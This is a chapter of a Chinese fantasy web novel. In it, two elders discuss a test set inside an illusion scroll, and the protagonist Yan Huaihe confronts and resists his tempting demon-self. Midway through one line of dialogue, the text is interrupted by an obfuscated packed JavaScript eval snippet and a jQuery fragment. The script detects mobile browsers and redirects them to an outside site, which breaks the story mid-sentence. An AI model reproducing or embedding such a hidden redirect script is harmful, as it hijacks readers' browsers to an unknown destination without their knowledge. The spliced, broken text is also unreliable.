204. 千秋昭岁(十九)
作品:《师妹她不斩心上人》 而在浮生卷幻境之外,手掌一方玄黑砚台的人望着眼前的水墨画卷,缓慢掀起眼皮。
赤红色的焰火在他漆深的眸中升腾跳跃,他望着那最后从画卷中飘出来的一根如发丝粗细的魂丝。
方游灵忽地想起什么,心底感慨万千,低声淡道:“月儿曾无意落下一道魂识留在这浮生卷中,我还特意寻过多次,都未能找到踪迹。果然,她最牵挂的还是这孩子……”
他说到最后,语气稍显无奈。
“我有句话不知当讲不当讲——”梳笑听完他的话,心痒痒,欲言又止。
方游灵瞥了他一眼,似乎嫌弃他支支吾吾的忸怩作态。
“此事你做得并不厚道,对自家后辈试探下修为就够了,你搞这么一出,下手毫不留手,她怕是会生气。”梳笑回忆了下方才祁桑不假思索跳入浮生卷的气势,就算往后知道眼前人跟自己什么关系,该算的账还是不会少的,“就算你是替那小子逼出余毒,也不能真来那么一刀吧?”
恰在此时,那道浅淡的蓝色光丝已然从浮生卷飞出,稳稳当当飘到方游灵的手上。光丝卷起尾端,晃了晃,以此分辨他身上的气息,而后放松下来,懒洋洋躺在他手心。
见状,方游灵的脸上才真正露出笑意,他此刻心情尚可,便不计较话中的言外之意,头也不抬地轻声道:“枫睢好歹修为不俗,配月儿已是勉强,当初找到方外山来时,犹能硬抗下我十五招;晏闻礼的这位小儿子心性不稳,修为不够,一招都算勉强,实在拿不出手。”
梳笑顿了一下。
这家伙说这些,是想让他附和几句,表示晏家小子实在配不上你家孩子这类话么?他倒是不这么觉得。
真看不上,餮天秘境都不会让人进来。更遑论,特意出手逼出那些余毒。
茯萼虽出身于四时谷,却是长于小重山,所用之毒更是结合两地特点,令人防不胜防。
就算祁桑那个小丫头拿无明隙火替他焚去毒素,但仍旧有些微的毒素存在,沁入骨髓。
这余毒连茯萼本人都没能发觉,却也并非无害,时间一久,乾风珏纵然能救命,也怕是要忍受“脱胎换骨”的痛苦一番。
这一刀虽狠,面上不留情,但实实在在把这毒给清了。
比起看不顺眼这小子,他倒是觉着,这家伙更在意的还是天意弄人,明明随手就能摆平的事,却受困天道,只能看着。
阿月一事上,也是如此。
当时行舟闭关,阿月逢难,心里有气无处发,出手那十五招可没有一丝留手,五成力道都是撒气来的。要不是枫睢命硬,方外山一行,息岚可以直接换一任魔君了。
他斟酌了下说辞,委婉指出:“……私以为,你这话对行舟讲比较好。同我说,我就算有什么意见,你也权当没听到,还是真诚点,不必装善解人意的模样。你放心,阿月的家事,我不干涉。”
“阿梧素来不曾过问月儿在感情上的事,我亦不好说些什么。”方游灵淡淡回。
你看吧,这家伙果然还是计较这事。
梳笑挑了挑眉,没说什么,半晌后似是想起什么趣事,才开口:“我倒是想起来,念真姑姑还真不一定满意你这个女婿。也就是近水楼台先得月,心狠手辣,将那满树桃花都掐了去,才被你得逞。”
“……心狠手辣?”方游灵若有所思道,他脸上挂着温和的笑,可看过来的眼底却划过一丝若有似无的威胁,“承你之言,我当初确实该狠一点。”
梳笑忙闭上嘴,他这会儿修为大打折扣,打不赢这六亲不认的人,只道:“螟蛉山的那株愁忧树半甲子前就枯了,等会儿他们成功出来,你打算如何说?”
“……”方游灵缓慢地眨了眨眼,笃定道,“他们若出来,不会再过问愁忧树果的下落。”
梳笑一愣,困惑不解地小声念出一遍:“什么叫不会再过问……你的意思是?”
方游灵将手掌心的魂丝妥帖收好,抬眼将视线落在浮生卷上,慢悠悠回:“一观便知。”
梳笑不客气地“哼”了一声,这又摆起懒得跟他多费口舌的架子了,当初他怎么就会认识这人?还是半个亲家,头疼。
看就看,谁没眼睛了?不仅看,他还得全神贯注地盯着看,需在这家伙没个轻重时,将晏家小子及时捞出,免得多生事端。
在他妖界的地盘,华颂也好,晏淮鹤也好,丢了一个,他都赔不起。
幻境另一边。
四处没什么光亮,昏暗不明,像一个狭窄而又看不到尽头的地道,逼仄潮湿。
右肩的伤势不轻,直接在肩胛骨那一块贯过不小的血洞,骨头碎裂,除了阵痛,右手暂时提不起来,算是半废。而此地极为蹊跷,乾风珏催动很慢,杯水车薪,压根治不了这伤。
晏淮鹤脸色惨白,额间沁了一层细汗,剧烈的痛感使得身体止不住轻颤发抖。可他没心思去管,只得随意处理了下伤口,止了止血后,便不再理会。
从他被拽进来那一刻的灵力波动推测,此地大概是处在一个阵法之内,是困阵的可能不大,有九成可能为幻阵。
走了一段,阵法没什么变化。
出手那人境界应在三劫境之上,约莫是水劫后期,给人感觉与林见深前辈大差不差。
至于此人出手缘由为何……寻仇不大可能。会是阻止他调查当年之事?倒也不像。
细细想来,方才祁桑神情自若,似对那人没什么戒备,应该是不觉得他有什么威胁——这道杀气或许只针对他一人。
是餮天鲲之主,还是那位性格古怪的方游灵方前辈?
晏淮鹤一面沉思,一面每三步掐诀落下一道手掌大小的阵盘,又以鲜血为引,为阵法供给灵气。
约莫走到百步,数十道阵盘亮起,形成一道大阵,从里由外轰碎了这漆黑的地道。
霎时间,眼前大亮,白茫茫一片。那漆黑的甬道消失不见,只剩下纯白的空间。
晏淮鹤没再抬步往前走。
他的视线落在眼前突然出现的人身上,面色冷峻,微眯起了眼。
此处阵法,山石是白的,林木草叶也是白的,褪了墨色后,天地便浑然一体。颇有返璞归真,至纯至净之意。
光瞧着,这该是个困阵,水劫境前辈设下的困阵,他就算于阵法一道再天资聪颖,也破不开、走不出去。
可偏偏,这不是困阵,而是个实实在在的幻阵。
也是了,再如何诡谲的幻境,都不及他自己的心魔执念来得管用。
叩心索念,不过“执”之一字,妄与欲由此而生。
清心扣的封印被眼前清癯的男子捏在手中,他身着黑袍,长发半梳,只以一根发带拢在耳后。
很眼熟,犹记当年父亲无族事处理,回到家中陪母亲出游解闷,便常做如此装束。
妄自离者生,怯同往者远。
他们的一言一行,早已成了烙印在神魂的疤痕,久未愈合,藏于影子底下,再见不得光亮。
自己头一回显露杀伐之相,魇气缠身时,奕初妤便断定他的魇相因此而生,修道时难免饱受心魔折磨。
筠泽也没发现过什么不对劲,自然而然便认定魇执之相是因晏府灭门一事。
可若不是呢?
与晏淮鹤模样一般无二的魇相嘴角噙着淡笑,姿态随意,瞧来放浪形骸。
那是不可能会在他脸上出现的神情,至少现如今的他不会。
他的视线落在肩上伤口处,眼神极为轻慢,不屑道:“啧啧啧,真狼狈。晏淮鹤你说你,被困此地又伤得这么重,乾风珏发挥不出作用,时间一长,你还能活下来?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245835|164501||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
一副身躯,只能留下一道意识。
本体与魇执之相无法一直共存,总有厮杀的一日。
所以自诞生意识时,魇相便对这个暂且掌控身躯的本体没什么好脸色,一如既往的轻蔑。
哪怕,他们记忆共享,该是对彼此最为了解之人。
晏淮鹤盯着魇相手中的清心扣封印,眼神一沉,神情肃杀,语气含了些许紧张:“清心扣失效了?”
“哦,是杀意啊。”
魇相见怪不怪,他们就没有一回好生坐下来聊聊的时候,大多一言不合就会直接斗起来。
大多是在识海,抢夺身躯的控制权,虽然他胜少败多,但嘴上依旧不饶人,总要损个几句才肯罢休。
这回在这幻阵,得以面对面交谈。
就算话不投机,半句嫌多,也扰不了他嘴上不留情的兴致。
魇相好整以暇,拖着慢悠悠的调子:“总是想杀了我,想磨灭我的存在,可偏偏我本就是你的一部分。拿我当幌子时,怎么不照照镜子,看看谁才是那个罪孽深重的人呢?你真该杀的,是你自己才对。”
“嘴上逞能,是小孩子才喜欢的把戏。我不记得自己是个不会审时度势的性子,建议你多想想,此刻该做什么。”晏淮鹤没闲工夫和他在这争论,眼底显得不耐。
魇相想,其实在许多大事上,他们很容易达成共识,也不能算共识,不过是明白什么该做什么不该做,不会为了无意义的争论而耽搁什么。
尤其遇上有关祁桑的事,他不介意让让这家伙,会安静旁观。毕竟斗归斗,让别人取巧可就亏大发了。
但这一回,似乎没必要退让。
他怎么就不能取而代之,成为掌控身躯的那一个呢?晏淮鹤为何就不能为了祁桑退一步,成全他?
魇相大概是想明白了,有了主动意识,很难在这事上给晏淮鹤行方便。
他言语引诱道:“我们都很担心她。可此刻你伤得太重,出不去,除了无能悔恨与愧疚,还能做什么?但我不一样——来,把掌控权交给我,让我们杀出一条路来。”
闻言,晏淮鹤漆黑的眸子睨来一眼,似在思忖此事的可行与否,眼底渐渐爬上一层寒霜。
过了一会儿,他眼底的波澜静了下去,面无表情迈开步子,选择绕过眼前挡路的人,一言不发往前走去。
魇相想不明白,觉得这人实在虚伪。心里反反复复念着喜欢,结果什么都不肯付出。
他忍不住呛声:“你在犹豫什么?不担心她的安危?不想早点去到她身边吗?”
晏淮鹤被他拦着,懒得说什么多余的话,他伤重,需省些力气,没心思应对这孩子气的质问。
他既然答应过她,会让她赢,便该守诺。
杀伐一道他修不了了,催动魇气,以心魔修炼的法子也不会再用。
魇相察觉到他内心所想,先是一愣,而后冷冷笑出声:“哦,原来你是这个想法?”
“废物。大仇未报,你就开始贪生怕死了?”他毫不客气地斥责道,“晏淮鹤,以你如今的修为,你这身废物一般的境界,你真不怕哪一天她受你所累,死在你面——”
“死”那个字眼砸在心弦上时,发出铿一声钝响,晏淮鹤深吸了口气,蹙了蹙眉,不悦地厉声打断他的话。
“住口。”
“听不得这种话?那就给我滚开。晏淮鹤,在死之前,你没有贪生怕死的资格,更没有为任何人活下来的价值。”
魇相不知被触及到什么,不顾晏淮鹤此时身上的伤,用力一把攥过他的衣襟。
他问:“你是不是忘记你自己究竟是一个什么样的人了?”
忘记自己当初是怎么一点一点将魂魄硬生生刮下来一部分,最后化作了他,作为魇执之相而存在百年。